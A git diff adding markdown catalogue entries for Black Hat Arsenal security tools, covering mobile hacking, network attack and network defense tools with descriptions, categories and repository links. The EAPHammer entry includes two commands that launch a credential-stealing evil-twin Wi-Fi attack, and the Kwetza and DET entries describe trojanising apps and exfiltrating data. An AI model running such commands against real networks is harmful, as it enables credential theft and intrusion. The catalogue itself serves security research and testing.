sessions+[](https://www.blackhat.com/us-17/arsenal/schedule/#badintent---integrating-android-with-burp-8044)+++### Code+https://github.com/mateuszk87/BadIntent++### Lead Developer+Mateusz Khalil - https://github.com/mateuszk87/++### Social Media+* [Twitter](https://twitter.com/mateuszk87)+* [LinkedIn](https://linkedin.com/in/mateusz-khalil-2bb885a0)++diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/kwetza.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/kwetza.mdnew file mode 100644index 0000000..5ef1205--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/kwetza.md@@ -0,0 +1,24 @@+# Kwetza++### Description+Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload. Kwetza allows you to infect Android applications using the target application's default permissions or inject additional permissions to gain additional functionality.+++### Categories+* Mobile Security+* Mobile Malware++### Black Hat sessions++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/sensepost/kwetza++### Lead Developer+ Chris Le Roy - SensePost https://github.com/sensepost++### Social Media+* [Twitter](https://twitter.com/brompwnie)+* [Company Website](https://sensepost.com/)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/mobsf.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/mobsf.mdnew file mode 100644index 0000000..519c992--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/mobsf.md@@ -0,0 +1,29 @@+# MobSF++### Description+Mobile Security Framework (MobSF) is an intelligent, all-in-one open source mobile application (Android/iOS/Windows) automated pen-testing framework capable of performing static and dynamic analysis. It can be used for effective and fast security analysis of Android, iOS and Windows mobile Applications and supports both binaries (APK, IPA & APPX ) and zipped source code. MobSF can also perform Web API Security testing with it's API Fuzzer that can do Information Gathering, analyze Security Headers, identify Mobile API specific vulnerabilities like XXE, SSRF, Path Traversal, IDOR, and other logical issues related to Session and API Rate Limiting.++### Categories+* Mobile Security+* SAST & DAST+* Malware Analysis+* Web API Security+* Vulnerability assessment++### Black Hat sessions++[](https://www.toolswatch.org/2015/03/black-hat-asia-2015-arsenal-speaker-list/)+++### Code+https://github.com/MobSF/Mobile-Security-Framework-MobSF/++### Lead Developer+ Ajin Abraham - OpenSecurity https://github.com/ajinabraham++### Social Media+* [Twitter](https://twitter.com/ajinabraham)+* [LinkedIn](https://in.linkedin.com/in/ajinabraham)+* [Website](https://ajinabraham.com/)++diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/needle.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/needle.mdnew file mode 100644index 0000000..bf81c23--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/needle.md@@ -0,0 +1,33 @@+# Needle++### Description++Needle is the MWR's iOS Security Testing Framework, released at Black Hat USA in August 2016. It is an open source modular framework which aims to streamline the entire process of conducting security assessments of iOS applications, and acts as a central point from which to do so. Given its modular approach, Needle is easily extensible and new modules can be added in the form of python scripts. Needle is intended to be useful not only for security professionals, but also for developers looking to secure their code. A few examples of testing areas covered by Needle include: data storage, inter-process communication, network communications, static code analysis, hooking and binary protections. The only requirement in order to run Needle effectively is a jailbroken device.++With the release of Needle v1.0.0, we provided a major overhaul of its core and the introduction of a new native agent, written entirely in Objective-C. The new NeedleAgent is an open source iOS app complementary to Needle, that will allow it to programmatically perform tasks natively on the device, eliminating the need for third party tools.++### Categories++* Mobile Security+* Vulnerability assessment+* Penetration Testing++### Black Hat sessions++[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)+[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code++* https://github.com/mwrlabs/needle+* https://github.com/mwrlabs/needle-agent++### Lead Developer++Marco Lancini - https://github.com/marco-lancini++### Social Media++* [Twitter](https://twitter.com/mwrneedle)+* [Company Website](https://labs.mwrinfosecurity.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/objection.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/objection.mdnew file mode 100644index 0000000..bbf1e03--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/objection.md@@ -0,0 +1,22 @@+# objection++### Description+Objection is a runtime mobile exploration toolkit, powered by Frida. It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device. The project's name quite literally explains the approach as well, whereby runtime specific objects are injected into a running process and executed using Frida.++### Categories+* Mobile Security+* Penetration Testing+* Reverse Engineering++### Black Hat sessions+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Code+https://github.com/sensepost/objection++### Lead Developer(s)+Leon Jacobs - [https://github.com/leonjza](https://github.com/leonjza)++### Social Media+* [Twitter](https://twitter.com/leonjza)+* [Company Website](https://sensepost.com/)\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/crowbar.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/crowbar.mdnew file mode 100644index 0000000..59a2177--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/crowbar.md@@ -0,0 +1,32 @@+# Crowbar++### Description+Crowbar (formally known as Levye) is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.++Currently Crowbar supports:++OpenVPN+Remote Desktop Protocol (RDP) with NLA support+SSH private key authentication+VNC key authentication+++### Categories+* Network Attacks+++### Black Hat sessions+[](https://www.blackhat.com/us-14/arsenal.html#Alkan)+[](http://www.blackhat.com/us-15/arsenal.html#heybe-pentest-automation-toolkit)+++### Code+https://github.com/galkan/crowbar+++### Lead Developer+* Gokhan Alkan - https://github.com/galkan+++### Social Media+* [Twitter](https://twitter.com/gokhan_alkn)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/delta.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/delta.mdnew file mode 100644index 0000000..448bafb--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/delta.md@@ -0,0 +1,22 @@+# DELTA++### Description+DELTA is a first SDN security evaluation framework, which has two primary functions; (1) It can automatically instantiate attack cases against SDN elements across diverse environments, and (2) it can assist in uncovering unknown security problems within an SDN deployment by using a blackbox fuzzing technique. For replaying attack cases, our framework has a number of test cases against popular SDN controllers and all SDN-enabled switch devices (software and hardware). Also, our framework provides a protocol-aware fuzzer for OpenFlow, which is a de-facto standard protocol of SDN, in order to find new vulnerabilities in SDNs.++### Categories+* Network Attacks+* Vulnerability assessment+* Frameworks++### Black Hat sessions+[](https://www.blackhat.com/us-17/arsenal/schedule/#delta-sdn-security-evaluation-framework-7466)++### Code+https://github.com/OpenNetworkingFoundation/DELTA++### Lead Developers+* Seungsoo Lee [seungsoo-lee] - https://github.com/seungsoo-lee+* Jinwoo Kim [jinwoookim] - https://github.com/jinwoookim++### Social Media+* [Laboratory Website](http://nss.kaist.ac.kr/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/det.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/det.mdnew file mode 100644index 0000000..92a574a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/det.md@@ -0,0 +1,21 @@+# DET++### Description+DET aims to provide a framework to assist with exfiltrating data using either one or several channels. Social media has become extremely popular in recent attacks such as HammerToss, campaign uncovered by FireEye in July 2015. Several tools are also publicly available allowing you to remotely access computers through "legitimate" services such as Gmail (GCat) or Twitter (Twittor). Often gaining access to a network is just the first step for a targeted attacker. Once inside, the goal is to go after sensitive information and exfiltrate it to servers under their control. To prevent this from occuring, a whole industry has popped up with the aim of stopping exfiltration attacks. However, often these are expensive and rarely work as expected. With this in mind, I created the Data Exfiltration Toolkit (DET) to help both penetration testers testing deployed security devices and those admins who've installed and configured them, to ensure they are working as expected and detecting when sensitive data is leaving the network.+++### Categories+* Network Attacks+* Frameworks++### Black Hat sessions+[](https://www.blackhat.com/us-16/arsenal.html#det)++### Code+https://github.com/PaulSec/DET++### Lead Developer+* Paul Amar (@PaulWebSec) - https://github.com/PaulSec++### Social Media+* [@PaulWebSec](https://twitter.com/PaulWebSec)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/eaphammer.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/eaphammer.mdnew file mode 100644index 0000000..a4d830e--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/eaphammer.md@@ -0,0 +1,38 @@+# EAPHammer++### Description+EAPHammer is a toolkit for performing targeted evil twin attacks against WPA2-Enterprise networks. It is designed to be used in full scope wireless assessments and red team engagements. As such, focus is placed on providing an easy-to-use interface that can be leveraged to execute powerful wireless attacks with minimal manual configuration. To illustrate how fast this tool is, here's an example of how to setup and execute a credential stealing evil twin attack against a WPA2-TTLS network in just two commands:++ # generate certificates+ ./eaphammer --cert-wizard++ # launch attack+ ./eaphammer -i wlan0 --channel 4 --auth ttls --wpa 2 --essid CorpWifi --creds++EAPHammer is also equipped to perform two new attacks [first presented at DEF CON 25](https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Gabriel-Ryan-The-Black-Art-of-Wireless-Post-Exploitation-UPDATED.pdf):+ - __Hostile Portal Attacks:__ Steal Active Directory credentials without direct network access+ - __Indirect Wireless Pivots:__ Bypass port-based access controls using rogue access point attacks++Leverages a [lightly modified](https://github.com/s0lst1c3/hostapd-eaphammer) version of [hostapd-wpe](https://github.com/opensecurityresearch/hostapd-wpe) (shoutout to [Brad Anton](https://github.com/brad-anton) for creating the original), _dnsmasq_, [Responder](https://github.com/SpiderLabs/Responder), and _Python 2.7_.++### Categories+* Wireless+* Red Team+* Rogue Access Point Attacks+* WPA-EAP/WPA2-EAP++### Black Hat sessions+[](https://www.blackhat.com/us-17/arsenal.html#eaphammer)++### Code+https://github.com/s0lst1c3/eaphammer++### Lead Developer+ Gabriel Ryan - s0lst1c3 https://github.com/s0lst1c3++### Social Media+* [Twitter](https://twitter.com/s0lst1c3)+* [LinkedIn](linkedin.com/in/ms08067)+* [Blog Posts: GDS Labs](https://blog.gdssecurity.com/labs/author/gryan)+* [Blog Posts: Personal](http://solstice.me/about/)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/egression.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/egression.mdnew file mode 100644index 0000000..6d5d045--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/egression.md@@ -0,0 +1,30 @@+# Egression++### Description+Egression is a utility for testing the data loss prevention controls on a corporate network.++Many tools of this type work by testing outbound port connections alone, but Egression works by actually uploading a sensitive file to the internet in a number of ways.++### Categories+* Network Attacks+* Vulnerability assessment+* Utilities+++### Black Hat sessions+[](https://www.blackhat.com/us-17/arsenal/schedule/index.html)+++### Code+https://github.com/danielmiessler/egression+++### Lead Developer+* Daniel Miessler [@danielmiessler] - https://github.com/danielmiessler+++### Social Media+* [Website](https://danielmiessler.com/)+* [Twitter](https://twitter.com/danielmiessler)+* [Podcast](https://danielmiessler.com/podcast/)+* [Linkedin](www.linkedin.com/in/danielmiessler)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/flashlight.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/flashlight.mdnew file mode 100644index 0000000..de30881--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/flashlight.md@@ -0,0 +1,25 @@+# Flashlight++### Description+Pentesters spend too much time during information gathering phase. Flashlight (Fener) provides services to scan network/ports and gather information rapidly on target networks. So Flashlight should be the choice to automate discovery step during a penetration test. In this article, usage of Flashligh application will be explained.+++### Categories+* Network Attacks+++### Black Hat sessions+[](https://www.blackhat.com/us-14/arsenal.html#Alkan)+[](http://www.blackhat.com/us-15/arsenal.html#heybe-pentest-automation-toolkit)+++### Code+https://github.com/galkan/flashlight+++### Lead Developer+* Gokhan Alkan - https://github.com/galkan+++### Social Media+* [Twitter](https://twitter.com/gokhan_alkn)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/gr-lora.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/gr-lora.mdnew file mode 100644index 0000000..ce58df2--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/gr-lora.md@@ -0,0 +1,36 @@+# gr-lora++### Description+gr-lora is an open-source GNU Radio/Software Defined Radio implementation of the LoRa radio physical layer, as derived from the author's black box analysis of the protocol. gr-lora empowers developers and security researchers to think beyond packet sniffing and injection by exposing LoRa's physical layer in software.++LoRa is a wireless networking technology that can be thought of as high-endurance cellular for IoT and embedded devices. It utilizes a unique Chirp Spread Spectrum modulation and layered encoding scheme to achieve remarkable range while remaining frugal on power.++PHYs have long been taken for granted, however research such as Travis Goodspeed's packet-in-packet and Dartmouth/River Loop Security's 802.15.4 chipset fingerprinting have demonstrated that physical layer abuse can have severe consequences further up the stack. As a closed protocol, LoRa has only been exposed via layer 2+ interfaces; thus security researchers and developers have lacked the necessary tools to audit and analyze the security and robustness of its PHY.++With its flexible and open architecture, gr-lora gives security researchers the capability required to explore this nascent protocol from its most fundamental layer.++For more information on the LoRa PHY and Matt's blind signal analysis process:+* 33c3 Video: https://media.ccc.de/v/33c3-7945-decoding_the_lora_phy+* PoC||GTFO 0x13: https://www.alchemistowl.org/pocorgtfo/pocorgtfo13.pdf++### Categories+* Network Attacks+* Wireless+* Reverse Engineering+* Hardware/IoT++### Black Hat sessions+[](https://www.blackhat.com/us-17/arsenal/schedule/index.html#gr-lora-an-open-source-sdr-implementation-of-the-lora-phy-8045)++### Code+https://github.com/BastilleResearch/gr-lora++### Lead Developer+ Matt Knight - https://github.com/matt-knight++### Social Media+* [Twitter](https://twitter.com/embeddedsec)+* [Company Website](https://bastille.net)++----+diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_attacks/yasuo.md b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/yasuo.mdnew file mode 100644index 0000000..7b51e29--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_attacks/yasuo.md@@ -0,0 +1,33 @@+# Yasuo++### Description+Yasuo is a ruby script that scans for vulnerable 3rd-party web applications.++While working on a network security assessment (internal, external, red team gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on.++If you search through Exploit-db, there are over 10,000 remotely exploitable vulnerabilities that exist in tons of web applications/front-ends and could allow an attacker to completely compromise the back-end server. These vulnerabilities range from RCE to malicious file uploads to SQL injection to RFI/LFI etc.++Yasuo is built to quickly scan the network for such vulnerable applications thus serving pwnable targets on a silver platter.++### Categories+* Network Attacks+* Vulnerability assessment+* Frameworks+++### Black Hat sessions+[](https://www.blackhat.com/eu-16/arsenal.html)+[](https://www.blackhat.com/us-17/arsenal/schedule/index.html#yasuo-7909)+++### Code+https://github.com/0xsauby/yasuo+++### Lead Developer+* Saurabh Harit [0xsauby] - https://github.com/0xsauby+++### Social Media+* [Twitter](https://twitter.com/0xsauby)+* [Linkedin](https://www.linkedin.com/in/saurabhharit/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/OSfooler.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/OSfooler.mdnew file mode 100644index 0000000..e81b04d--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/OSfooler.md@@ -0,0 +1,42 @@+# OSfooler++### Description+An outsider has the capability to discover general information, such as which operating system a host is running, by searching for default stack parameters, ambiguities in IETF RFCs or non-compliant TCP/IP implementations in responses to malformed requests. By pinpointing the exact OS of a host, an attacker can launch an educated and precise attack against a target machine.++There are lot of reasons to hide your OS to the entire world:+ * Revealing your OS makes things easier to find and successfully run an exploit against any of your devices.+ * Having and unpatched or antique OS version is not very convenient for your company prestige. Imagine that your company is a bank and some users notice that you are running an unpatched box. They won't trust you any longer! In addition, these kind of 'bad' news are always sent to the public opinion.+ * Knowing your OS can also become more dangerous, because people can guess which applications are you running in that OS (data inference). For example if your system is a MS Windows, and you are running a database, it's highly likely that you are running MS-SQL.+ * It could be convenient for other software companies, to offer you a new OS environment (because they know which you are running).+ * And finally, privacy; nobody needs to know the systems you've got running.++OSfooler was presented at Blackhat Arsenal 2013. It was built on NFQUEUE, an iptables/ip6tables target which delegate the decision on packets to a userspace. It transparently intercepted all traffic that your box was sending in order to camouflage and modify in real time the flags in TCP/IP packets that discover your system. Detects and defeat at the same time:+ * Active remote OS fingerprinting: like Nmap+ * Passive remote OS fingeprinting: like p0f v2+ * Commercial engines like Sourcefire’s FireSiGHT OS fingerprinting++Some additional features are:+ * No need for kernel modification or patches+ * Simple user interface and several logging features+ * Transparent for users, internal process and services+ * Detecting and defeating mode: active, passive & combined+ * Will emulate any OS+ * Capable of handling updated nmap and p0f v2 fingerprint database+ * Undetectable for the attacker++### Categories+* Network Defense+* Hardening++### Black Hat sessions+[](https://www.toolswatch.org/2013/06/announcement-blackhat-arsenal-usa-2013-selected-tools/)++### Code+https://github.com/segofensiva/OSfooler-ng++### Lead Developer(s)+Jaime Sánchez - aka @segofensiva -++### Social Media+* [Twitter](https://twitter.com/segofensiva)+* [Blog](https://seguridadofensiva.com/)\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/crowdsec.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/crowdsec.mdnew file mode 100644index 0000000..05bca1a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/crowdsec.md@@ -0,0 +1,35 @@+# CrowdSec++### Description++<p align="center">+<img src="https://github.com/crowdsecurity/crowdsec-docs/blob/main/crowdsec-docs/static/img/crowdsec_logo.png" alt="CrowdSec" title="CrowdSec" width="400" height="260"/>+</p>++CrowdSec is a free, modern, and collaborative behavior detection engine coupled with a global IP reputation network. It stacks on fail2ban's philosophy but is IPV6 compatible and 60x faster (Go vs. Python) and uses Grok patterns to parse logs. CrowdSec is engineered for modern Cloud / Containers / VM-based infrastructures (by decoupling detection and remediation). Once detected, you can remedy threats with various methods (firewall block, Nginx HTTP 403, Captchas, …) while sharing the aggressive IP to CrowdSec Network and improving everyone's security further.++### Categories++* Network Defense+* Incident Response+* Data forensics++### Black Hat sessions++[](https://www.blackhat.com/asia-22/arsenal/schedule/index.html#crowdsec-the-open-source-and-participative-ips-25857)+[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#crowdsec---the-network-effect-of-cybersecurity-26573)++### Code+https://github.com/crowdsecurity/crowdsec++### Lead Developer(s)++* Buixor https://github.com/buixor+* AlteredCoder https://github.com/AlteredCoder+* Sabban https://github.com/sabban+* He2ss https://github.com/he2ss+* Blotus github.com/blotus++### Social Media+* [Twitter](https://twitter.com/Crowd_Security)+* [Company Website](https://www.crowdsec.net/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/cs-suite.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/cs-suite.mdnew file mode 100644index 0000000..834f614--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/cs-suite.md@@ -0,0 +1,49 @@+# Cloud Security Suite (cs-suite)+Cloud Security Suite - One stop tool for auditing the security posture of AWS infrastructure.++## Overview:+* Takes the “open source setup” pain away from you.+* Compiles all the audit checks+* Extra audit checks added+* Runs all the checks in one go+* Centralized portable reports+* Also, does local audit of the instances++## Code:+[https://github.com/SecurityFTW/cs-suite](https://github.com/SecurityFTW/cs-suite)++## Category+* Network Defense+* Infrastructure and Server Auditing++## Presented At:+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++## Pre-requisites for Manual setup+* Python 2.7+* pip+* git+* gcc (for sshpass installation (OS Audit). Not a mandatory pre-requisite)++## Installation++```bash+git clone https://github.com/SecurityFTW/cs-suite.git+cd cs-suite/+sudo python setup.py+```++Note - Generate a set of ReadOnly AWS keys which the tool will ask to finish the installation process.++### Running cs-suite++```bash+python cs.py+```++## Documentation+[https://securityftw.github.io/Docs](https://securityftw.github.io/Docs)++## Authors+* Jayesh Singh Chauhan ([@jayeshchauhan](https://github.com/jayeshchauhan/))+* Shivankar Madaan ([@shivankar-madaan](https://github.com/shivankar-madaan))diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/js_api.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/js_api.mdnew file mode 100644index 0000000..f445459--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/js_api.md@@ -0,0 +1,36 @@+# Protecting your Crypto Asset against Malicious JS Phishing++### Description+Cryptocurrencies and NFT are taking over with predictions of 90% of the population holding at least one of them by the end of the decade. Users that want to facilitate these new assets, trade them and sell them typically do that using wallets, and in particular hot wallets that are easy-to-use. The most popular hot wallets today (e.g., MetaMask) are browser based and are thus vulnerable to phishing and scams made possible through malicious JavaScript, such as a recent campaign carried out by the Lazarus group which resulted in more than 400M$ worth of stolen cryptocurrencies.++We release our internal tool used by the Security Operation and the research at Akamai to scan the JS from any website.+It includes a Python recursive crawler that extracts every JS from any domain (written within the HTML or imported), analyzes it with a model and heuristics - that we provide -, and brings metadata ( from VT, publicwww…) It finally gives a score to every piece of code running on any URL of a specified domain.+The code works also as a Web App and exposes a REST API as well.++We will finish by presenting some real detection we caught with this tool and explaining them.+### Categories++* Network Defense++### Black Hat sessions++[](https://www.blackhat.com/us-22/arsenal/schedule/#protecting-your-crypto-asset-against-malicious-js-phishing-27713)+++### Popularity++To be completed++### Code+https://github.com/akamai/js_api++### Lead Developer(s)++**Code**: [Jordan Garzon]+**Aknoledgment**:[Asaf Nadler]++from [Akamai Technologies](https://www.akamai.com)+++[Jordan Garzon]: https://twitter.com/JordGarzon+[Asaf Nadler]: https://twitter.com/AsafNadler\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/luda.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/luda.mdnew file mode 100644index 0000000..788a418--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/luda.md@@ -0,0 +1,31 @@+# LUDA: Large URLs Dataset Analyzer for security++### Description+Malicious actors often reuse code to deploy their malware, phishing website or CNC server. As a result, similiaries can be found on URLs path by inspecting internet traffic. Moreover, deep learning models or even regular ML model do not fit for inline deployment in terms of running performance. However, regexes ( or YARA rules ) can be deployed on a proxy and work in real time on all the traffic. LUDA can take a set of malicious and benign URLs and return a list of regexes ready to be deployed inline !++### Categories++* Network Defense++### Black Hat sessions++[](https://www.blackhat.com/us-21/arsenal/schedule/index.html#luda--large-urls-dataset-analyzer-for-security-23851)+++### Popularity++To be completed++### Code+https://github.com/akamai/luda++### Lead Developer(s)++**Code**: [Jordan Garzon]+**Algorithm**: [Jordan Garzon] and [Asaf Nadler]++from [Akamai Technologies](https://www.akamai.com)+++[Jordan Garzon]: https://twitter.com/JordGarzon+[Asaf Nadler]: https://twitter.com/AsafNadler\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/lulu.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/lulu.mdnew file mode 100644index 0000000..407c2c2--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/lulu.md@@ -0,0 +1,27 @@+# LuLu++### Description+LuLu is the free open-source macOS firewall that aims to block unauthorized (outgoing) network traffic.+<p align="center"><img src="https://objective-see.com/images/LL/lulu.png"></p>++Full details and usage instructions can be found [here](https://objective-see.com/products/lulu.html).+++### Categories+* Network Defense+* Malware Research+++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/objective-see/LuLu++### Lead Developer+ Patrick Wardle - Objective-See++### Social Media+* [Twitter](https://twitter.com/patrickwardle)+* [Company Website](https://objective-see.com)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/mimicry.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/mimicry.mdnew file mode 100644index 0000000..98b5972--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/mimicry.md@@ -0,0 +1,43 @@+# Mimicry++<p align="center">+<img src="https://heap-web.oss-cn-hangzhou.aliyuncs.com/logo/logo_mimicry.svg" alt="Mimicry" title="Mimicry" width="120"/>+</p>++### Description+++In incident response scenarios, intercepting attacks or quarantining backdoors is a common response technique. The adversarial active defense will immediately make the attacker perceive that the intrusion behavior is exposed, and the attacker may try to use defense evasion to avoid subsequent detection. This defense evasion may even result in later attacks going undetected. If we mislead or deceive the attacker into the honeypot, we can better consume the attacker's time cost and gain more response time.++We invented a series of toolkits to deceive attackers during the "kill chain." For Example:++Exploitation:+1. We return success and mislead the attacker into the honeypot for brute-force attacks.+2. We will simulate the execution of web attack payloads to deceive the existence of vulnerabilities in the system.++Post-Exploitation:+1. For the Webshell scenario, we will replace the Webshell with a proxy and transfer the Webshell to the honeypot. When the attacker accesses Webshell, the proxy will forward his request to the honeypot.+2. For the reverse shell, we will inject the shell process and forward the attacker's operation to the shell process in the honeypot.+3. For the backdoor, we will dump the process's memory, resources, etc., and migrate it to the honeypot to continue execution.++### Categories++* Network Defense+* Malware Defense++### Black Hat sessions++<a href="https://www.blackhat.com/eu-22/arsenal/schedule/index.html#mimicry-an-active-deception-tool-29517">+<img src="https://img.shields.io/badge/Blackhat%20Arsenal-EUROPE%202022-blue" /></a>++### Code++https://github.com/chaitin/mimicry++### Lead Developer(s)++* ChaoxinWan https://github.com/mangosteen++### Social Media+* [Twitter](https://twitter.com/unsignedjuice)+* [Discord](https://discord.gg/KjQGUrG8aJ)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/sitch.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/sitch.mdnew file mode 100644index 0000000..1ca05b3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/sitch.md@@ -0,0 +1,30 @@+# SITCH++### Description++SITCH is a distributed cellular anomaly detection and countersurveillance platform.++SITCH is comprised of a number of sensors and a central service. Sensors are made from easily sourced hardware, and the cost of required components is around $150 each. All information produced by the sensors is aggregated in the service, which handles alerting and data retention.++Slides and supporting assets from the Black Hat Arsenal talk can be found [here](https://github.com/sitch-io/blackhat_arsenal_2017).++### Categories++* Network Defense++### Black Hat sessions++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code++https://github.com/sitch-io++### Lead Developer++Ash Wilson - https://github.com/ashmastaflash++### Social Media++* [Twitter](https://twitter.com/sitch_io)+* [Project Website](https://sitch.io/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/sweetsecurity.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/sweetsecurity.mdnew file mode 100644index 0000000..caf4ee3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/sweetsecurity.md@@ -0,0 +1,42 @@+# Sweet Security++### Description+Sweet Security is a suite of tools which allows users to monitor local network traffic from a single device as small as a raspberry pi.++__Client/Sensor__+- Bro IDS to monitor network traffic+- (Optional) Critical Stack Intel to add threat intelligence feeds into Bro+- Logstash to collect and normalize all Bro logs+- Sweet Security code to scan the network and ARP spoof all local network traffic through the device++__Server__+- Elasticsearch to store logstash and sweet security data+- Kibana to visualize logs/data+- Sweet Security code to search log data for interesting events+- Apache/Flask web app to manage environment++* More information can be found in the Sweet Security wiki on the Github repository.+* Slides from the public presentations are available on the Github repository.++### Categories+* Network Defense+* Forensics+* Incident Response+++### Black Hat sessions+[](https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+++### Code+https://github.com/travisfsmith/sweetsecurity++### Lead Developer+ Travis Smith++### Social Media+* [Twitter](https://twitter.com/mrtrav)+----+++diff --git a/Penetration Testing/Blackhat Arsenal Tools/network_defense/wipihunter.md b/Penetration Testing/Blackhat Arsenal Tools/network_defense/wipihunter.mdnew file mode 100644index 0000000..3599f5e--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/network_defense/wipihunter.md@@ -0,0 +1,53 @@+### WiPi-Hunter++WiPi Hunter is developed for fight against illegal wireless network activities; howver, it shouldn't be seen only as a piece of code. Instead, actually it is a philosophy. You can infer from this project new wireless network illegal activity detection methods. New methods, new ideas and different point of views can be obtained from this project.++**Example:** WiFi Pineapple attacks, Fruitywifi, mana-toolkit++**WiPi-Hunter Modules**++ **PiSavar**: Detects activities of PineAP module and starts deauthentication attack (for fake access points - WiFi Pineapple Activities Detection)++ **PiFinger**: Searches for wifi-pineapple traces and calculate wireless network security score++ **PiDense** : Monitor illegal wireless network activities. (Fake Access Points)++ **PiKarma** : Detects wireless network attacks performed by KARMA module (fake AP). Starts deauthentication attack (for fake access points)++ **PiNokyo**: If threats like wifi pineapple attacks or karma attacks are active around, users will be informed about these threats.Like proxy++#### Categories+++ Network Defense++ Wireless++ Blue Team++#### Black Hat Sessions++<a href="http://www.blackhat.com/eu-17/arsenal/schedule/#wipi-hunter---wifi-pineapple-activities-detection-9091"><img src="https://rawgit.com/toolswatch/badges/master/arsenal/europe/2017.svg"></a>+<a href="https://www.blackhat.com/asia-18/arsenal/schedule/index.html#wipi-hunter---detects-illegal-wireless-network-activities-9854"><img 